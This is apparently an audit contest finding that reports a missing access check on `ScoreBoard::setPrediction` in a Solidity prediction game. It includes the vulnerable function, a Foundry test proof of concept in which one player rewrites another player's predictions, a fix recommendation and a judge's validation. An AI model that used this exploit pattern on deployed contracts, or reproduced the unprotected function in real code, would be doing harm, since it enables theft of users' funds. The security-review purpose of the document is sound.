Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Missing protection from users calling `ScoreBoard::setPrediction`

Summary

A malicious user can change other people's predictions using `ScoreBoard::setPrediction`.

Vulnerability Details

The `ScoreBoard::setPrediction` function allows any user to change the predictions of other users, because there missing checks again unauthorized access, which can be exploited by malicious users to manipulate the final predictions.

function setPrediction(
address player,
uint256 matchNumber,
Result result
) public {
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
)
++playersPredictions[player].predictionsCount;
}
}

Impact

This vulnerability allows a malicious user to alter the predictions of other users, potentially leading to unfair advantages and financial losses for the affected users. This issue severely breaks the protocol functionality.

PoC

Code Paste the following test suite in `ThePredicter.test.sol` and use ```forge test --mt test_maliciousUserCanChangeOtherPeoplePredictions```
function test_maliciousUserCanChangeOtherPeoplePredictions() public {
address stranger2 = makeAddr("stranger2");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
//we change the prediction for another user
scoreBoard.setPrediction(stranger, 2, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(stranger, 1, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(stranger);
vm.expectRevert();
thePredicter.withdraw();
vm.stopPrank();
}

Tools Used

Manual code review and testing using the forge library.

Recommendations

Restrict access to the `ScoreBoard::setPrediction` function to either the `ThePredicter` contract or the user who sets the prediction and implements proper access control mechanisms.

Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.